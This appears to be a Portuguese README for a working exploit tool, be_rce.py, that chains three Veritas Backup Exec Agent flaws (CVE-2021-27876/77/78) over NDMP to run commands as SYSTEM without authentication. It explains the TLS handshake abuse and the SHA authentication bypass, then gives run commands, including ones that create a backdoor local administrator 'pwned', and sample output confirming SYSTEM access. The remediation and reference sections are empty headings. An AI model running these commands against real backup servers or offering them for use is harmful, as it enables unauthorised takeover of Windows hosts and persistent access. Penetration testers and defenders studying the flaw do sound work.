
Exploit de RCE não autenticado para o Agente Veritas Backup Exec (CVE-2021-27876/77/78) — bypass de autenticação SHA para SYSTEM via NDMP
Exploit de RCE não autenticado para o Agente Veritas Backup Exec (CVE-2021-27876/77/78) — bypass de autenticação SHA para SYSTEM via NDMP
| CVE | Descrição | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Bypass de autenticação via manipulação de hash SHA no protocolo NDMP | 9.8 Crítico |
| CVE-2021-27877 | Leitura arbitrária de arquivos não autenticada via NDMP | 9.8 Crítico |
| CVE-2021-27878 | Execução arbitrária de comandos do sistema operacional via NDMP_EXECUTE_COMMAND | 9.8 Crítico |
Aviso: Veritas VTS21-003
Corrigido em: Backup Exec 21.3 e posterior.
O Agente Veritas Backup Exec escuta na porta TCP/10000 e fala o NDMP (Network Data Management Protocol). O exploit encadeia três falhas:
Abuso do handshake TLS — O agente solicita um CSR durante sua negociação TLS personalizada. O exploit gera uma CA local, assina o CSR do agente e completa o handshake, elevando o socket para TLS sem nenhum segredo pré-compartilhado.
Bypass de autenticação SHA (CVE-2021-27876) — A autenticação SHA do NDMP calcula SHA256('\x00' * 64 + challenge). Como a senha é prefixada como um bloco de 64 bytes preenchido com zeros e não há validação no lado do servidor
do material da senha, qualquer cliente pode autenticar como Administrator sem conhecer a senha.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Uma vez autenticado, o tipo de mensagem NDMP_EXECUTE_COMMAND executa comandos arbitrários do sistema operacional como NT AUTHORITY\SYSTEM. A saída é redirecionada para
C:\Windows\Temp\_be_out.txt e lida de volta via NDMP_FILE_READ.
Python 3.8+
Em distribuições modernas, o Python é marcado como "gerenciado externamente" (PEP 668), portanto instale a dependência em um ambiente virtual:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Exemplos:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Remediação
Referências
Aviso Legal
Esta ferramenta é fornecida apenas para testes de penetração autorizados e pesquisa de segurança. O uso contra sistemas sem permissão explícita por escrito é ilegal. O autor não se responsabiliza por uso indevido.